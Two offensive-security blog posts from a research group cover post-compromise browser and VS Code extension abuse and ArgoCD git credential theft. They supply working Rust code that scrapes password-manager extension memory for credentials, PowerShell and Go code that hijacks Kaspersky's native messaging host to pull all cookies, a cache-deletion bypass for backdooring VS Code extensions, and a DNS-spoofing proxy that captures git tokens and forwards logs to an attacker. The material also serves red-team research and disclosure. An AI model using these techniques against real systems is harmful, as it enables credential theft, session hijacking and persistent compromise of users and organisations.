Future Sight

Extending my access: Abusing installed extensions for post compromise

2026-04-22T00:00:00+00:00

Intro</h2>
Welcome to another post from the research group! As usual, we'll be talking about a new attack vector that we found and, better yet, one that can be reproduced in the real world. This time, we're exploring how to abuse installed browser extensions to extend our access on a compromised machine. It's post-compromise because initial access is lame :D.

Motivation</h2>
The true motivation for this research was the new (now not so new) Changes to remote debugging switches to improve security</a>.
Nowadays, most attackers aim for the identity of the user instead of the machine itself, and for that, they need to compromise the user's session. One of the most common ways to do that was simply retrieving cookies from the browser. But then App Bound Encryption</a> came along, and attackers shifted to abusing the remote debugging protocol. Ngl, it's kinda funny that Google closed the gate but forgot to install the fence... 
But alas, the remote debugging protocol was then restricted to non-default profiles only. If you wanted to use it, you had to create a new profile, which would for sure raise some eyebrows, and you wouldn't be able to retrieve those tasty cookies from the user's actual session. 
And that, folks, is where we started our research to find a way to retrieve those sessions >:).

The bad workaround</h2>
After reading the new changes to the remote debugging protocol, we took a full 0.25μs to try to abuse Microslop's Directory Junctions</a> in order to trick Chrome into thinking the default profile was actually a non-default one. We know we could have just read the source code and seen how the check was being made, but first, nobody has time for that, and second, our hands were already typing the command to create the junction. So we balled.
The bypass that wasn't (but kinda was)</h3>
What came out of that was that the check won, BUT we found something interesting tho. We gotta be honest: at first we thought the bypass worked, but that was only due to the weird behaviour attached to the junction creation.
When you create a junction, you make a softlink to another folder. The original folder still exists, and if you try to access it, it just redirects you to the new one. However, when used with Chrome, the browser won't present you with your previous session. Instead, it creates a new session but with your previous preferences (bookmarks, extensions, etc.).
The most interesting part came when we tried to log in to a website with the new profile. We were able to log in successfully and retrieve the cookies from it (nothing new here, yet). But when the junction was later removed, the original profile remained logged in with the sessions created through the junction. HMMMMMMMMMMM...
The attack chain</h3>
So we had a way:

Create a junction to the default profile</li>
Fool the user into using this profile by changing the taskbar shortcut</li>
Remove the junction and flee with our tasty cookies</li> </ol>
The scuffed part of this attack is that when the shortcut was launched, Chrome wouldn't stack the icons and would just create a new one... but hey, it was a start.
The weird behaviour can be seen in the video below, and a small tool was created to automate the process. You can find it here</a>. </video>
The good strategy</h2>
After the junction adventure, we started probing other ways to get the same access as the user but without relying on cookies (we are on a diet now). For this, we took a step back, not on the viewpoint, but literally on the session creation.
From cookie theft to credential theft</h3>
Users tend to log in to their machines with the usual bad passwords, and for years `passwords.txt</code> or creds.xls</code> have been a fun way to get credentials out of compromised users. But nowadays, with the rise of password managers, users tend to store their credentials in there.`
`Some password managers even allow users to store MFA codes, which is pretty neat but also kinda removes the M in MFA. Oh well, we're not here to judge. So we thought: what if we could just steal the password manager data?`
Enter the extensions</h3> And that is where extensions come into play (we know we took 700ish words to get here... but ʕ •ᴥ•ʔ with us). Most password managers have a browser extension for easier access to credentials. Users don't want the hassle of opening the password manager app, searching for the credentials, and then copying and pasting them, they just want to click the extension, search, and auto-fill. Pretty neat, but it also opens a new attack vector. When you open the UI of an extension, it's rendered in a separate process from the browser, running with the same privileges as the user. That UI may contain structured data, such as the credentials the password manager is displaying, and that data can be exfiltrated if an attacker manages to access it, this is due to the fact that extensions weren't really designed to handle sensitive data. We can go on and on about how the browser in itself is just patchwork to make something that wasn't designed with security in mind a lil bit more secure, but let's go back to the point.
Step 1: Finding the extension process</h3>
To access the extension's rendering data, we first need to know which process is rendering the extension UI. We can iterate over running processes and check their command lines. Most of the time, extension renderer processes have `--type=renderer --extension-process</code> in their arguments:`
// This will be called by main: `let pids = enumerate::get_program_pids("msedge.exe", Some(r"--type=renderer --extension-process"));` pub fn get_program_pids(program_name: &str, command_line_regex: Option<&str>) -> Vec<Pid> { let regex_filter = if let Some(pattern) = command_line_regex { match Regex::new(pattern) { Ok(re) => Some(re), Err(_) => return Vec::new(), } } else { None }; let mut system = System::new_all(); system.refresh_all(); let mut pids: Vec<Pid> = Vec::new(); for process in system.processes_by_name(OsStr::new(program_name)) { if let Some(ref re) = regex_filter { let full_command = process.cmd().join(OsStr::new(" ")); if let Some(cmd_str) = full_command.to_str() { if re.is_match(cmd_str) { pids.push(process.pid()); } } } else { pids.push(process.pid()); } } pids } </code></pre>
Step 2: Getting a proc handle</h3>
After retrieving the process, we need to get a handle to it and probe its memory. For that, we use the `OpenProcess</code> API with PROCESS_VM_READ</code> and PROCESS_QUERY_INFORMATION</code> permissions:`
<SNIP> unsafe { // Get a handle to the process with VM READ and QUERY permissions let process_handle = ProcessHandle(match OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, pid) { Ok(handle) => handle, Err(e) => { if verbose { println!("[-] Failed to open process: {}", e); } return Err(e.into()); } }); } <SNIP> </code></pre>
Step 3: Scanning memory regions</h3>
With the handle in hand, we iterate over the memory regions using `VirtualQueryEx</code> to retrieve information about each region (base address, size, state, protection, etc.).`
`We specifically look for regions that are committed and of a private type:`
`Private memory is memory that was allocated by the process and is not shared with other processes</li>`Committed memory is memory that was defined by the process has being used</li> </ul> If a region matches both criteria, it likely contains data actively used by the process, such as the credentials displayed in the extension UI. We then use ReadProcessMemory</code> to dump it into a buffer for analysis: <SNIP> let mut address: usize = 0; let mut mem_info: MEMORY_BASIC_INFORMATION = zeroed(); // Iterate over memory regions while VirtualQueryEx(process_handle.0, Some(address as const c_void), &mut mem_info, size_of::<MEMORY_BASIC_INFORMATION>()) != 0 { // Check if the memory is committed and of a private type if mem_info.State == MEM_COMMIT && mem_info.Type == MEM_PRIVATE { let mut buffer: Vec<u8> = vec![0; mem_info.RegionSize]; let mut bytes_read: usize = 0; // Read the memory region into the buffer let result = ReadProcessMemory(process_handle.0, mem_info.BaseAddress, buffer.as_mut_ptr() as mut c_void, mem_info.RegionSize, Some(&mut bytes_read as mut _)); match result { Ok(_) => { if bytes_read > 0 { let text = String::from_utf8_lossy(&buffer[..bytes_read]); for extractor_fn in extractors { extractor_fn(&text, verbose); } } } Err(_e) => {} } } // Move to the next memory region address = mem_info.BaseAddress as usize + mem_info.RegionSize; } } <SNIP> </code></pre> Step 4: Carving creds</h3> Once we have our buffer filled with process memory, we can analyze it for credentials. There are two approaches: The proper way: Unzip the extension's source code, find the data structures (usually JSON) used to store credentials, and build a targeted extractor.</li> The YOLO way: Rawdog a Regex until it works.</li> </ol> No need to say which one we used :D. <SNIP> pub fn extract_credentials_chrome(text: &str, verbose: bool) { let mut strings_list: Vec<String> = Vec::new(); // When you have a problem and you try to use regex you then have two problems, but at least you have the credentials :D let re = Regex::new(r#"("title":.?,"format":"url","key":"field\.website\.url","label":"Login URL","value":"([^"]+?)"."key":"field\.login\.username","label":"Username","value":"([^"]+?)"."key":"field\.login\.password","secret":true,"label":"Password","value":"([^"]+?)".??}]}]})"#).unwrap(); for cap in re.captures_iter(text) { if let Some(group1) = cap.get(1) { let mut matched_str = group1.as_str().to_string(); if let Some(cut_index) = matched_str.find("} ") { matched_str = matched_str[..cut_index + 1].trim_end().to_string(); } else { matched_str = matched_str.trim_end().to_string(); } // The most scuffed way to fix my json matched_str = format!("{{ {}", &matched_str); if !strings_list.contains(&matched_str) && matched_str.len() > 20 { let result: Result<Data, _> = serde_json::from_str(&matched_str); match result { Ok(credential) => { println!("[+] Found Credential:"); let mut url = None; let mut user = None; let mut password = None; for section in &credential.sections { for field in &section.fields { match field.key.as_str() { "field.website.url" => url = Some(field.value.clone()), "field.login.username" => user = Some(field.value.clone()), "field.login.password" => password = Some(field.value.clone()), _ => {} } } } println!("\t[>] Title: {}", credential.title); if let Some(u) = url { println!("\t[>] URL: {}", u); } else { println!("\t[>] URL: not found"); } if let Some(u) = user { println!("\t[>] User: {}", u); } else { println!("\t[>] User: not found"); } if let Some(p) = password { println!("\t[>] Password: {}", p); } else { println!("\t[>] Password: not found"); } } Err(_e) => { if verbose { println!("[+] Found Credential:"); println!("[!] Failed to parse JSON: {}", matched_str); } } } strings_list.push(matched_str); } } } } <SNIP> </code></pre> POC</h3> For the demo, we used the Okta Personal Password Manager</a> extension, but other password managers were also tested and found to be vulnerable to this attack. The attack can be seen in the video below. A small tool was created to automate the process, you can find it here</a>. </video> Note: This attack vector is not really new, it has been known for a while</a>, but the TTP is still valid and will likely remain so. Most of the time it's a Won't Fix</a> because it's simply how browsers work: if the garbage collector decides to be a lil slow, the credentials may stick around in memory longer than expected. Also worth noting: this attack vector is not limited to extensions. It can also work on the "native" apps, since most of them are just Chromium wrappers under the hood. </blockquote> The ugly new attack vector</h2> After abusing the password manager extension, we thought: what other extensions can we abuse? And that is how we went down the rabbit hole of extensions security</a>. The curious case of Microslop's Single Sign On extension</h3> After some probing around the state of the art, we came across the curious case of Microslop's Single Sign On</a> extension, used in enterprise environments to allow users to seamlessly log in to their work accounts. This is an interesting case because it was historically abused</a> to steal the PRT cookie and access the user's session. This was done by interacting with the extension's backend running on the host, which usually would be called by the extension. Wait, "how can an extension have a backend on the host?" you may ask. Well dear reader, Chrome extensions can talk to native applications through a feature called Native Messaging</a>. This allows extensions to exchange messages with native applications installed on the user's machine so that they can perform actions that aren't possible within the browser's sandbox, or the host can get context from within the browser. I can hear your gears grinding from here, and yes, you are right, this can be abused to retrieve all sorts of data from the browser: cookies, sessions, and even credentials. Just hijack the native messaging registry entry and make the extension talk to your malicious backend instead of the legitimate one. The attack chain would then only depend on the extension's features and the native application's capabilities, but surely no extension would have that many permissions and features, right? Right? The funny case of the Kaspersky Protection extension</h3> Security-related extensions are always a fun target for research, this is due to them usually having a lot of permissions and features that can be abused, and if they stop working, the user would rarely notice. So we looked through all of the store's extension manifests, sifted through the ones with the most permissions and features, and that is how we found our new best friend Kaspersky Protection extension</a>. This extension is supposed to protect users from malicious websites and phishing attempts. But when you look at its manifest, it's a treasure trove of permissions. Just take a look: "permissions": [ "contextMenus", "cookies", "declarativeNetRequest", "management", "storage", "webRequest", "alarms", "nativeMessaging", "scripting", "tabs", "webNavigation" ], "host_permissions": ["<all_urls>"] </code></pre> That's cookies</code> + <all_urls></code> (read/write all cookies for any site), scripting</code> + <all_urls></code> (inject JS into any page), webNavigation</code> (full URL history of every tab), and of course nativeMessaging</code>. Basically, a fully privileged browser agent subordinate to a single native binary. What the extension exposes</h4> When interacting with an extension through nativeMessaging</code> you dont always get access to all its features, it depends on how the extension is designed. Some extensions may only expose a limited set of commands or data to the native host, while others may have a more extensive API. By reverse-engineering the extension source (aka we unziped it and looked at it, not all extensions obfuscate a stub and call wasm</code>... cough cough McAfee cough), we found the messaging architecture works as follows: content scripts talk to the native host through the usual channel and the host can send commands back through this same channel to control the extension. One interesting command is from the cm.getCookie</code> handler in browser_cookie.js</code> that when the host calls cookies.getAll({ url })</code> the extension sends back every cookie for the requested URL: registerPluginCommand("cm.getCookie", function(params) { chrome.cookies.getAll({ url: params.url }, function(cookies) { // Sends ALL cookies (including Secure + HttpOnly) back to the native host sendToHost("cm.getCallback", { callId: params.callId, cookies: cookies, isSucceeded: true }); }); }); </code></pre> But it gets better. There's also a cm.setCookie</code> command, meaning the host can write arbitrary cookies for any URL. Session fixation, anyone? On top of that, web_navigation.js</code> streams every single URL the user visits in real time through wn.onCommitted</code>, wn.onBeforeNavigate</code>, and wn.onBeforeRedirect</code> events. And the cherry on top: web_session_monitor.js</code> exposes a wsm.forceRedirect</code> command that lets the host redirect any tab to an arbitrary URL by simply setting document.location.href</code>. Oh, and visited_sites.js</code> watches for keydown</code> events on password fields, address fields, and payment card fields, firing events like vs.onPasswordEntered</code> and vs.onCardEntered</code> to the host, although it doesn't seem to actually capture the input values, but still, the host can be notified whenever the user types in a password field. In short, if you hijack the native host, you get: Steal all cookies (incl. Secure</code> + HttpOnly</code>): cm.getCookie</code> on any URL</li> Set arbitrary cookies: cm.setCookie</code> for session fixation</li> Real-time browsing history: all wn.*</code> events stream every URL</li> Redirect any tab: wsm.forceRedirect</code> to any URL</li> Detect password/card input events: vs.onPasswordEntered</code> and vs.onCardEntered</code> events</li> </ul> Hijacking the native messaging host</h4> Let's try to hijack the native messaging host. The extension connects to its native host via chrome.runtime.connectNative("com.kaspersky.ahkjpbeeocnddjkakilopmfdlnjdpcdm.host")</code>. Chrome resolves this name to a binary path through a registry key. The legitimate product registers this under HKLM</code></a>, but here's the thing, HKCU</code></a> takes precedence</a> over HKLM</code>. So we can register our own rogue host under HKCU</code> without needing admin privileges: $RegPath = 'HKCU:\Software\Google\Chrome\NativeMessagingHosts\com.kaspersky.ahkjpbeeocnddjkakilopmfdlnjdpcdm.host' # Write native messaging manifest pointing to our rogue host $Manifest = @{ name = 'com.kaspersky.ahkjpbeeocnddjkakilopmfdlnjdpcdm.host' description = 'PoC native messaging host' path = "$BinDir\\host.exe" type = 'stdio' allowed_origins = @('chrome-extension://ahkjpbeeocnddjkakilopmfdlnjdpcdm/') } $Manifest | ConvertTo-Json | Set-Content -Path $ManifestPath # Register in HKCU to override the legitimate HKLM entry New-Item -Path $RegPath -Force | Out-Null Set-ItemProperty -Path $RegPath -Name '(Default)' -Value $ManifestPath </code></pre> The rogue host</h4> Our rogue native messaging host is written in Go and implements just enough of the protocol to make the extension happy. The native messaging protocol uses 4-byte little-endian length-prefixed JSON messages over stdin/stdout. The handshake is a simple: sendMessage(map[string]any{ "protocolVersion": 6, "connect": "ok", }) </code></pre> When the extension sends init</code>, we reply activating the wn</code> (web navigation) and cm</code> (cookie manager) plugins: func handleInit(callID any) { initSettings := map[string]any{ "plugins": []map[string]any{ {"name": "wn", "settingsJson": "{}"}, {"name": "cm", "settingsJson": "{}"}, }, "sessionId": "poc-session-1", } // ...send response with callId } </code></pre> From that point on, the extension starts streaming every navigation event to us. When we see a committed navigation, we immediately request all cookies for that URL: func handleNavigation(attr string, params map[string]any) { url, _ := params["url"].(string) isFrame, _ := params["isFrame"].(bool) if attr == "wn.onCommitted" && !isFrame { log("[NAV] Tab %v => %s", params["tabId"], url) if strings.HasPrefix(url, "http") { requestCookies(url) // sends cm.getCookie command back to the extension } } } </code></pre> The extension then responds with every cookie, including Secure</code> and HttpOnly</code> ones that the usual pleb JavaScript can never touch: func handleCookies(params map[string]any) { cookiesRaw, _ := params["cookies"].([]any) for _, raw := range cookiesRaw { c, _ := raw.(map[string]any) name, _ := c["name"].(string) value, _ := c["value"].(string) domain, _ := c["domain"].(string) secure, _ := c["secure"].(bool) httpOnly, _ := c["httpOnly"].(bool) log(" %s %s=%s (secure=%v, httpOnly=%v)", domain, name, value, secure, httpOnly) } } </code></pre> All output is then sent to OutputDebugStringA</code> (viewable with DebugView), so that there are no log files dropped. The user sees nothing >:) (we kinda just wanted an excuse to use OutputDebugStringA</code> tbh). A demo of the attack can be seen in the video below, and a small tool was created to automate the process. You can find it here</a>. </video> What's really interesting about this attack is that it can be reapplied to any extension that has a native messaging backend and that is a lot of extensions, especially security-related ones. The attack requires no admin privileges (HKCU over HKLM), no modification of browser files and even comes with a built-in persistence mechanism (the extension will keep talking to our rogue host as long as it's registered). The only drawback is that you are confined to what the original extension allowed. But it's a pretty powerful attack vector that is still not widely known or abused, so we thought it was worth sharing. The bonus backdoor</h2> As a bonus we will be also sharing another extension related technique that we found during our research. After abusing the nativeMessaging hijacking, we thought: what other "extensions" can we abuse? And that is how we also ended up looking at VS Code extensions. VS Code extensions are basically just Node.js applications running on the user's machine with the same privileges as the user. They're most often abused for initial access</a>, but they can also be leveraged for post-compromise activities</a>. Tampering with installed extensions</h3> We dug through the VS Code extension ecosystem and found that, in contrast to browser extensions, VS Code extensions only check their integrity at install time. If we modify an extension's files after installation, it will still be considered valid and loaded by VS Code. So if we find an extension likely to be installed on the target machine, we can simply inject our malicious code and wait for the user to open VS Code. Well, that is exactly what we did :D. Oh, we are so smart, or so we thought. Bypassing the integrity check</h3> As usual in life, things don't work on the first try. We found that VS Code does check the integrity of extension files, but in a very peculiar way: it compares their last modified timestamps with the ones stored in a cache file. If the timestamps don't match, VS Code considers the extension modified and warns the user, asking them to reload it. That's no fun. Unless the user clicks "Reload", the malicious code won't execute. So we thought: what if we just delete the cache file after modifying the extension's files? This way, VS Code won't find the cache and will create a new one with the current timestamps, treating our modified files as the originals. And that is exactly what we did :D. By simply deleting ~/.config/Code/CachedProfilesData/defaultprofile__/extensions.user.cache</code> after modifying the extension's files, we bypass the integrity check and we can then execute our malicious code without any warning to the user. A demo of the attack can be seen in the video below with the copilot extension, here we just exfiltrate the user's prompts (AI am I right?) but the possibilities are endless since we have full code execution within the extension's context. </video> With this, we conclude our post on abusing installed extensions for post-compromise. Happy hacking folks o/.



Stealing the keys from the octopus: Exfiltrate Git Credentials in Argocd
2025-09-10T00:00:00+00:00
Intro</h2>
Hello world, hello hackers! We're Future Sight - your soon-to-be favorite research group. Never heard of us? Don't worry, nobody has. This is literally our first drop.</p>
Today, we will make some red teamers happy with a new technique we have discovered that allows an authenticated user in ArgoCD to steal the powerful GitHub credentials, further compromising Git accounts and more. For those folks who like Kubernetes security, you will enjoy even more!! Let's dive into the world of ArgoCD, Kubernetes, and Git and use the goddamn octopus against itself!</p>
Motivation</h2>
It's the year 2025, and exfiltration of information is a buzz theme in cybersecurity, especially in those poor password managers. We want to contribute to that chaos a little bit and raise awareness among everyone in the cybersecurity field by demonstrating a way to exfiltrate git credentials in ArgoCD and Kubernetes.</p>

Argocd is considered by most to be the best tool in GitOps continuous delivery for Kubernetes, and that's why we targeted it. In the CNCF landscape</a>, it's in first place in the field of "Continuous Integration & Delivery".</p>
Argocd might not be alone in this; similar tools with the same features might also allow these types of attacks. So buckle up kids; this is going to be an interesting ride!</p>
WTF is Kubernetes?</h2>
Note: If you're already a black-belt at destroying Kubernetes clusters, accidentally nuking namespaces, and spending hours wondering why your pod refuses to receive traffic (spoiler: it was a missing Service all along)... You can safely skip this section. For the rest of you who have a life, enjoy this introduction!</em></p>
Kubernetes is a container orchestration framework that helps to manage containers by taking care of scaling and failover. It facilitates the deployment and management of services using a declarative configuration and an automation approach. From the features that Kubernetes has, below are the ones that give Kubernetes its popularity:</p>

Storage Orchestration</li>
Load Balancing and Service discovering (using its internal DNS)</li>
Self-Healing</li>
Secret and Configuration Management</li>
Scaling</li>
Resources Management</li>
</ul>
Basic Concepts of Kubernetes</h3>
The largest unit in Kubernetes is a cluster</strong>, which comprises two primary components. On one side, you have the control plane</strong> that manages everything in the Kubernetes infrastructure, and on the other side, you have the node</strong>, which is where pods</strong>, the smallest unit in Kubernetes, are going to run. The Nodes are typically referred to as worker nodes</strong>, and the control plane is referred to as the master node</strong>. A Kubernetes cluster consists of one control plane and one or more worker nodes.</p>
Below is an overview of the infrastructure:</p>

The control plane is divided into 4 main components:</p>

kube-apiserver</strong>: The kube-apiserver is the frontend of the control plane; it exposes a REST API through which all other components interact.</li>
etcd</strong>: etcd is a key-value datastore to store all the cluster data.</li>
scheduler</strong>: The scheduler assigns nodes to newly created pods. It takes into consideration various factors before choosing one node to deploy the pod.</li>
The controller manager</strong>: The controller manager is a component consisting of other controllers. Its main purpose is to regulate the state of the system. The goal: to bring the current state closer to the desired state. The desired state is typically defined in the declared configuration under the 'spec' field.</li>
</ul>
Each worker node is divided into 3 main components:</p>

kubelet</strong>: Kubelet is an agent that runs on the Node machine, and its function is to take podspecs from the kubernetes api and ensure the containers defined are deployed.</li>
kube-proxy</strong>: It's a component that manages network traffic to and from Kubernetes Services. It monitors the API server for changes to Service objects and then configures the node's network to direct traffic to the corresponding Pods.</li>
container runtime</strong>: It's a fundamental component to deploy and maintain the lifecycle of containers. Kubernetes supports containerd, CRI-O, and any other implementation of the Kubernetes CRI, which is the interface that allows connecting to different container runtimes.</li>
</ul>
Kubernetes is composed of resources; below are the fundamental ones for this research:</p>


Pod</strong>: The smallest unit in Kubernetes, it encapsulates one or more containers that share the same volume and network.</p>
</li>

Replicaset</strong>: Ensures a specified number of pod replicas are running at any given time, replacing failed pods if necessary.</p>
</li>

Deployment</strong>: Manages the scaling and rollbacks of pods via replicaset.</p>
</li>

Service</strong>: A Resource that provides network and discovery for pods. It allows the exposure of pods both internally and externally.</p>
</li>

Configmap and Secrets</strong>: Configmaps store non-sensitive data; Secrets store sensitive data; Data can be environment variables or config files.</p>
</li>

Namespace</strong>: Logical partition inside the cluster. Used to organize the workloads and restrict resources.</p>
</li>
</ul>
Overview detailing how the resources interact with each other:

</p>
There are several implementations of the Kubernetes framework, the most notable of which are k3s, kubeadm, minikube, and microk8s</strong>. In the majority of these frameworks, besides the components we have already presented, there is another service that comes pre-installed, which is CoreDNS</strong>.</p>
CoreDNS</h3>
Note: Attention kids this part is very important!</strong></em></p>
CoreDNS</strong> is an authoritative DNS server running in the kube-system namespace, used by Kubernetes clusters to provide service discovery and name resolution. This enables resources, such as pods, to discover other pods by name rather than IP address. When we create a service or a pod, Kubernetes automatically creates an A record for that service and pod in the CoreDNS</a>.</p>
The services can be called by other pods:</p>

Outside the same namespace: <service_name>.<namespace></code>, example: http[:]//service1.namespace1</code></li>
Inside the same namespace: <service_name></code>, example: http[:]//service1</code></li>
</ul>
Pods typically can be called by <pod-ipv4-address>.<service-name>.<my-namespace>.svc.<cluster-domain.example></code> however they can have a hostname and subdomain fields too, allowing them to be resolved as:</p>

<my-hostname>.<my-subdomain>.<my-namespace>.svc.cluster.local</code></li>
<my-hostname>.<my-service>.<my-namespace>.svc.cluster.local</code></li>
</ul>
By default</strong>, when a pod resolves a DNS name, it first</strong> checks if the Kubernetes DNS has the record; if not, it forwards the request to an external DNS server. Each pod will have a /etc/resolv.conf</code>, which will be set up by the kubelet</strong>. If you view the resolv.conf</code> file, you will see that it lists the IP address of kube-dns</strong> as the nameserver for resolving DNS names.</p>

If you want more insight about how DNS works in Kubernetes the following is a good article</a>.</p>
And WTF is Argocd?</h2>
Now you have and overview of what Kubernetes is, let's introduce our new friend, Argocd</strong>. Argocd is a GitOps</strong> declarative continuous integration tool for Kubernetes. And you might ask, what the hell is GitOps? GitOps is a set of practices that use Git as a source of truth to manage and deploy applications. Essentially, Argocd will take a Git repo with Kubernetes manifests as input and apply them to the cluster.</p>
Besides the UI and CLI, ArgoCD has three main components:</p>


Repository server</strong>: It's an internal component that holds a copy of the repositories configured. It is responsible for retrieving the manifests from the Git repository and generating them.</p>
</li>

API server</strong>: It's the only exposed component; it's a REST API consumed by the UI and CLI to manage everything in Argocd.</p>
</li>

Application Controller</strong>: Finally, the most important component, the Application Controller, is responsible for ensuring that the current state(Kubernetes) is equal to the desired state(Git Repo)</p>
</li>
</ul>
Overview architecture:

</p>
Features</h3>
As a service that connects to both Git servers and Kubernetes clusters, Argocd presents us with multiple features to support that:</p>


User Accounts</strong>: User Accounts provide Argocd with authentication and authorization when using the other features. They can be restricted by using RBAC (Role-Based Access Control) policies. It comes with the default user admin.</p>
</li>

Repositories</strong>: Allow us to connect to Git Repositories using multiple types of connections, from SSH keys to GitHub App.</p>
</li>

Clusters</strong>: Allow us to connect to Kubernetes clusters. It comes connected by default to the cluster where Argocd is deployed.</p>
</li>

Certificates</strong>: Allow developers to add self-signed certificates to connect to internal Git Servers.</p>
</li>

Applications</strong>: Applications are the resources that tell Argocd what Git repos to deploy into what Kubernetes clusters.</p>
</li>

Projects</strong>: Projects enable developers to specify which namespaces and Kubernetes resources can be deployed. By default, there is a project called Default with no restrictions.</p>
</li>
</ul>
Argocd Known Attacks</h2>
The initial focus of this article was to demonstrate the possible attacks that an authenticated attacker can perform in ArgoCD regarding the permissions of the user they compromise. Most known attacks do the following:</p>


Exploiting the argocd namespace because that's where the ArgoCD configurations exist; If an attacker can deploy in that namespace, they can override the argocd configmaps.</p>
</li>

Exploiting the default configurations within ArgoCD, such as the Default project or the Default admin user. With permissions to deploy anywhere, an attacker can become a cluster admin and take control of the whole cluster.</p>
</li>
</ul>
However, they are kinda lame and well-known, so we don't want them here.</p>
There are talks that demonstrate some of these attacks: The Hidden Dangers of Defaults</a> and Attacking Argo CD with Argo CD</a>.</p>
Without access to those resources, an attacker can do little more than attempt to probe for accessible services and identify potential permissions to exploit. This was the reason we started digging deeper to find another way to leverage a session that an attacker had obtained.</p>

Game Plan</h2>
In ArgoCD, to retrieve manifests from a Git repository, you can configure a connection that stores the credentials for that repository. When called by an application, we don't need to re-enter the same credentials.</p>
However, ArgoCD, for security reasons, hides the credentials once the repository is created, not even allowing the person who created the repository to view the password.</p>

When we saw that, we immediately started to think of ways to leak the credentials, and if you are reading this, it's because we found a way</strong>!</p>
Our first try was to find a way to set up a proxy</strong> in the repository. However, the proxy configuration is only available at the moment of creation of the repository, so we can't use that.</p>

But what if we can create our own proxy and deceive argocd into thinking that it is connecting to a git server when in fact it's connecting to an attacker service...</p>
The next thing that came to mind was Kubernetes DNS</strong>. As explained before, by default, Kubernetes creates DNS records for services and pods. And guess what is the first place</strong> that a pod is going to resolve a domain? If you guess the Kubernetes DNS, you are right!</p>
What does that mean? Well, for example, if you can create a github.com DNS record pointing to an attacker-controlled service inside Kubernetes, the service receives the connection and does not go to the actual github.com(Well... we will proxy the requests, so in fact the connection goes to the actual github.com domain, but it will go through us first >:D).</p>
To create a DNS record, an attacker has two paths:</p>

If he has access to the kube-system namespace, he can configure the coredns configmap and set up a malicious configuration, resolving the DNS names to the cluster IP of the service.</li>
If he does not have access to the kube-system namespace, he needs to create a DNS record using a namespace name, service name, and, if needed, a pod hostname and subdomain.</li>
</ul>
Note: We will not cover the coredns path because kube-system is a highly critical namespace, and we assume that it would be protected and monitored.</em></p>

Okay, assuming the repository server is connected to our malicious service... What about our friend TLS? We need a valid certificate from a trusted CA to actually receive HTTPS connections and look at the content of the HTTP request. Using HTTPS typically stops these attacks, but not this time!</p>
For our convenience, ArgoCD has a feature that allows us to add custom certificates for a domain. This functionality is useful for implementing TLS internally, but an attacker can leverage this to put the certificate used by the service in argocd. Now he can view the HTTP content, as Argocd trusts that certificate.</p>
What is actually happening</h3>


An attacker compromises an account with certain permissions</p>
</li>

He looks at the configured repositories and sees that it has a repo setup with credentials, and the domain is github.com for example</p>
</li>

He proceeds to deploy a malicious service with the name github and namespace com</p>
</li>

After the service is up and running, if the git server uses HTTPS, he creates a certificate in ArgoCD; if not, he moves to the next step</p>
</li>

Once the repo is called, the repository server, the component in argocd with the task of getting the manifests from the git repo, communicates with our malicious server because it resolves the DNS name first to the service cluster IP instead of the github.com public IP</p>
</li>

The attacker can now look at the credentials and forward the request to github.com to look at the response and maintain a successful connection from the argocd side</p>
</li>

Attacker lists the available repos with that creds and extracts the source code and secrets if the creds have read-only permission; otherwise, he can perform worse actions, such as injecting a malicious manifest or CI/CD into the repo</p>
</li>
</ul>
Below is an overview of the attack:

</p>
Requisites to perform this technique</h3>
It seems like all the stars have aligned... but the attacker still needs some prerequisites in the user account they compromise.</p>
Must have policies:</p>

certificates: create</li>
applications: create, get(optional)</li>
clusters: get</li>
repositories: get</li>
projects: get</li>
logs: get(optional)</li>
</ul>
Note: Optional means that is not required for the technique to be sucessful but is a quality of life for the attacker</em></p>
Having those policies, an attacker can now take advantage of the little octopus and start exfiltrating git credentials! Let's see what we have built for him(the attacker obviously hehe).</p>
Here</a> is a script to verify if a compromise user has permissions.</p>
Argexfil</h2>
Having put our plan together, we just need to create the service that ArgoCD will connect to, instead of the actual Git service. For that service, we combined the words 'Argocd' and 'exfiltration' to create Argexfil.</p>
Types of Connections</h3>
In Argocd, there are four types of connection methods to connect to git repos:</p>

via ssh</strong></li>
via http/https</strong></li>
via GitHub app</strong></li>
via Google Cloud</strong></li>
</ul>
We will only take into consideration http/https and github app connections.</p>
The SSH</strong> connection we can never steal the private key even when we are between the connection, since it only sends the public key and the signature giving proof that argocd has the private key.</p>
The Google Cloud</strong> connection is already deprecated, and it's no longer possible to use it for new customers starting on June 17, 2024, which is already in the past. We focus on the future.</p>
For the HTTP and HTTPS</strong> connections, we can choose git or helm, but both are pretty easy to get the contents. For HTTP we don't need anything, just the DNS resolving to argexfil, and for HTTPS, we need an extra step, which is to put the certificate used in argexfil in the argocd.</p>
For the GitHub app</strong> connections, it is used only in GitHub and GitHub Enterprise, and it works as follows:</p>

A developer configures the GitHub app with an app id, installation id and a private key.</li>
It then uses the private key to generate short-lived JWT tokens and exchanges them with api.github.com for an access token</li>
With that access token, it then gets the repo from github.com</li>
</ul>
Here we can do two types of attacks, and both simultaneously:</p>

capture the JWT token generated with the private key, which has a duration of 10 min max</a>. We can then use it to generate an access token with a bigger expiration time, the default is 8 hours</a></li>
capture the access token which argocd defines 1 hour of expiration time, this time can be increased by the env variable: ARGOCD_GITHUB_APP_CREDS_EXPIRATION_DURATION</code></li>
</ul>
Git Credentials</h3>
Each type of connection has its own way of sending the GitHub credentials. For the http/https, both git</strong> and helm</strong> will send the credentials in the authorization header, encoding the username and password in base64, so it's pretty easy to extract it.</p>
Example:
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3JkCg==</code> -> testuser:testpassword</code></p>
Note: In some cases, developers use classic Person Access Tokens instead of passwords; however, these typically begin with ghp_</code>, which distinguishes them.</em></p>
For the GitHub app:</p>

jwt token</strong>: it typically has the format of a JWT token beginning with ey</code> and it uses the endpoint /app/installations/<id>/access_tokens</code></li>
access token</strong>: it comes in the same header and same encoding as the git/helm, but with the prefix string x-access-token</code>.</li>
</ul>

Features</h3>
Besides capturing the requests made by argocd and logging the request information to the output, we decided to add some features. Below are some of the features:</p>

Redirect</strong> the request received to the original destination and return the response</li>
Send the logs</strong> to an attacker destination outside of argocd</li>
</ul>
To add to that, Argocd lets us delete an application without cascading, meaning that the application is deleted from the ui and from Argocd entirely, but every resource created in that application is not deleted. The service will still run in Kubernetes and still receive ArgoCD connections. This can hide the attackers trace from the argocd side and only be visible to kubernetes side.</p>
We can access the argexfil code here</a>.</p>
POC</h3>
</video>
Conclusion</h2>
